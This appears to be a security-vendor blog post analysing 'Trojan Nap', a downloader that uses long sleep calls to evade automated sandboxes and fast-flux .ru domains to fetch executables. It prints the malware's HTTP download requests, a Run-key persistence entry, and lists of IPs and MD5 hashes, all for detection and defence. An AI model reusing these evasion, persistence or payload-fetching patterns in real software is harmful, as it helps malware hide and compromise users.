An Encounter with Trojan Nap

[Update: February 14, 2013] We recently encountered a stealthy malware that employs extended sleep calls to evade automated analysis systems capturing its behavior. It further makes use of the fast flux technique in order to hide the identity of the attacker controlling it. We call it Trojan Nap. The purpose of this blog is to share the technical details of the execution steps by Nap.

Blog1

Figure 1. Malicious domain and the downloadable executable

When the malicious code gets executed, as shown in Figure 1, it sends an HTTP request to the domain "wowrizep.ru" requesting the file "newbos2.exe."

Blog2

Figure 2. Code of NAP making sleep call

After this, per the code in Figure 2, a call to SleepEx() with 0x0927C0 as its timeout parameter and the alterable value set to false are made. The value 0x0927C0 resolves to 600,000 milliseconds or, in other words, resolved to a 10-minute timeout. By setting the alterable to false, the malware ensures that the function does not return until the timeout period has elapsed. Since automated analysis systems are configured to execute a sample within a specified time frame, by executing a sleep call with a long timeout, Nap can prevent an automated analysis system from capturing its malicious behavior. Besides making a call to the function SleepEx(), the code also makes a call to the undocumented API NtDelayExecution() for performing sleep.

When the code of Trojan Nap is executed in a controlled environment, the behavior is pretty much the same as when it was observed executing the code in a debugger. As shown in Figure 3, the DNS request is sent to the domains wowrizep.ru and cagremub.ru.

Blog3

Figure 3. DNS request generated for the domains.

After receiving the DNS reply, a GET request is sent to the domain to fetch the newbos2.exe file as shown in Figure 4.

Blog4Figure 4. GET request generated by the NAP

The two domains, "wowrizep.ru" and "cagremub.ru," appear to be a part of the fast flux network. Normally, fast flux networks are used when the attacker wants to be extra careful to hide their identity. In contrast to a typical fast flux setup where multiple IPs are returned in a DNS response, this one returns a single IP, which looks like another attempt to appear normal. As shown in Figure 5, when the domain is resolved multiple times (10 seconds apart), each time the domain's resolution resulted in a different IP. The IPs are most probably zombies acting as front-end flux agents giving cover to the actual botherder.

Blo1

Blo2

 

Blo3

Blo5

Blo6

Figure 5. Resolution of the domains

Table 1 shows some of the IPs for the domain wowrizeep.ru. These IPs are spread across the globe. Almost each IP is in a different country.  

IP Address Location
87.110.154.119 87.110.154.119 LATVIA, RIGA LATVIA, RIGA
151.0.53.22 151.0.53.22 UKRAINE, DONETS'KA OBLAST', MAKIYIVKA UKRAINE, DONETS'KA OBLAST', MAKIYIVKA
111.252.26.52 111.252.26.52 TAIWAN, PROVINCE OF CHINA, T'AI-WAN, TAIPEI TAIWAN, PROVINCE OF CHINA, T'AI-WAN, TAIPEI
66.212.137.147 66.212.137.147 UNITED STATES, PENNSYLVANIA, PITTSBURGH UNITED STATES, PENNSYLVANIA, PITTSBURGH
92.46.244.77 92.46.244.77 KAZAKHSTAN, ALMATY CITY, ALMATY KAZAKHSTAN, ALMATY CITY, ALMATY

Table 1. Resolution of the domain wowrizep.ru

As shown in Figure 6, a very low value of TTL (0) ensures that neither the intermediate DNS servers nor the end host caches the DNS/IP mapping. This way each time when

the domain is contacted by malware, it will be a new DNS lookup and the attacker can keep on providing new IPs.

Image1

Figure 6. TTL value for the domain wowrizep.ru

When the file newbos2.exe is downloaded from the domain wowrizep.ru and is executed, it adds itself in the registry key.

\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"SonyAgent"=c:\newbos2.exe

The change to the registry key CurrentVersionRun ensures that the code gets executed each time when the computer is booted. It also makes use of the function RegOpenKeyExW() to check for the presence of the registry key SOFTWARE\Far\Plugins\FTP\Hosts.

Image5

Figure 7. Malicious code opening FTP registry keys

After the first execution the downloaded code resets the permission to hide itself and opens high TCP ports for listening. Some of the ports that we have observed are 49163, 49172, and 49175. It then communicates to the external domains. Some of the domains to which the communication goes are shown in Table 2.

Host Location
178.132.114.43 178.132.114.43 Moldova Republic Moldova Republic
109.185.52.47 109.185.52.47 Moldova Republic Moldova Republic
37.72.19.10 37.72.19.10 Spain Spain
178.54.49.41 178.54.49.41 Ukraine Ukraine
87.119.71.48 87.119.71.48 Bulgaria Bulgaria

Table 2. Communication by downloader going to the external domain

To summarize, Nap is a malicious downloader. It uses the fast flux technique to hide the location/identity of the attacker. Coincidently, from the New York Times report, the malware used in the recent NYT breach also used a similar hiding technique where the attacker used the university computers as front-end agents and kept switching from one IP to another. Nap employs extended sleep calls, an anti-VM technique to avoid automated analysis systems capturing its behavior.

Using a long sleep is a classic technique used to stay under the radar of an automated analysis system. In addition to extended sleep calls to evade automated analysis, we have observed many techniques, like hooking to a mouse, that are actively being employed by the advanced active malwares. Our recently published article in Virus Bulletin's February 2013 issue discusses many of these techniques along with the APIs that are actively being employed by malware. In the near future we expect to see malware employing automated analysis evasion techniques combined with network evasion techniques to evade detection.

[Update: February 14, 2013]

In our previous post, we provided the technical details of Trojan Nap. Our fellow security researcher at Deep End Research has also shared their details related to the malicious activity by Trojan Nap. 

The main purpose of the updated post is to share additional data that we have observed for this malware.

Based upon the telemetry, the domain wowrizep.ru and cagremub.ru seem to have been active since January 2013.

Below is the list of MD5s served from the domains:

wowrizep.ru 1039157d0694863c1941c706cd1d9e71

f1b9fa0e8a485c08d7a504821b853d7e

79a72be30c13249d87eb3d51f6b7af2b

d80275fde17250f989c7aa09394c0393

8cac534bcd396d66bbd4b0651aeb8732

40c7e0c53acd6779d3653f6dc45c4828

c4b42e7edcfd463efd2d8f827b2593f9

30f5c6c815690012e110d0c60de5aca7

7041388c725e5bdf78ad305f172b6fdf

e9f55e00bf8f6931e4f62d676b40810c

8146d2afef135a1a59d610fd527e4817

df9bd62536e3254ef6995de7830773b0

38ada6cbee2988891c25cd20d7ea04f8

0759b49f2293e4eee7cb95b5c12efba8

9bf584224c8e26f9e2435394a6cfbe5c

6b6b0a350847e650900f922f2607fdde

71f7d5e231ac8ce0af32328803d32d32

709d5ed8ffe87cf54600c9c8c4451869

30ef93958a5021852b99b01426e84bd1

00120935a9543ffcca90b72381a55d67
cagremub.ru e7785df6fc7a5857cea94834c6f137d5

7839f9ab0252cdba21d0d3cc57fd8f4c

1039157d0694863c1941c706cd1d9e71

0359797ef8bc85db6c758ee225c54f2c

5c11a528abe5f8d60b3d395c0bd9c059

076088cf02967b26e0024f159461e7aa

7f48c70f5ac0f1796758e756b34752a5

27500c9a93d023f941cd255ff6c52b6c

6fcc788b71a6bff749a5601734b89fe0

9f9f11ee2f9df12933fd776739f52962

51b9c8afc1055ae8e21cda8acfb2ef25

40e1ba37e21a95c490a8ddada08f4c85

d10ac93fa9ca61a83fedc5c979708797

b8c11ff465e2d4c68abb0d44b9a7c072

50493562b305d584771779f0d64bb3f6

Below is the list of the network headers that have been observed going to these two domains.

Domain Header
wowrizep.ru wowrizep.ru GET /keybex3.exe HTTP/1.0
Host: wowrizep.ru

GET /newbos2.exe HTTP/1.0
Host: wowrizep.ru

GET /nothing.exe HTTP/1.0
Host: wowrizep.ru

GET /instcod.exe HTTP/1.0
Host: wowrizep.ru

GET hxxp://wowrizep.ru/calc.exe HTTP/1.1

Host: wowrizep.ru

GET /rasta01.exe HTTP/1.0
Host: wowrizep.ru
GET /keybex3.exe HTTP/1.0
Host: wowrizep.ru

GET /newbos2.exe HTTP/1.0
Host: wowrizep.ru

GET /nothing.exe HTTP/1.0
Host: wowrizep.ru

GET /instcod.exe HTTP/1.0
Host: wowrizep.ru

GET hxxp://wowrizep.ru/calc.exe HTTP/1.1

Host: wowrizep.ru

GET /rasta01.exe HTTP/1.0
Host: wowrizep.ru
cageremu.ru cageremu.ru GET /instcod.exe HTTP/1.0
Host: cagremub.ru

GET /calc.exe HTTP/1.1
Host: cagremub.ru

GET /moon002.exe HTTP/1.0
Host: cagremub.ru

GET /newbos2.exe HTTP/1.0
Host: cagremub.ru

GET /keybex3.exe HTTP/1.0
Host: cagremub.ru
GET /instcod.exe HTTP/1.0
Host: cagremub.ru

GET /calc.exe HTTP/1.1
Host: cagremub.ru

GET /moon002.exe HTTP/1.0
Host: cagremub.ru

GET /newbos2.exe HTTP/1.0
Host: cagremub.ru

GET /keybex3.exe HTTP/1.0
Host: cagremub.ru

Finally, here is the number of IPs resolving to domain wowrizep.ru and cagremub.ru:

Domains Number of IPs
wowrizep.ru wowrizep.ru 5007 5007
cagremub.ru cagremub.ru 3156 3156

Additional Resources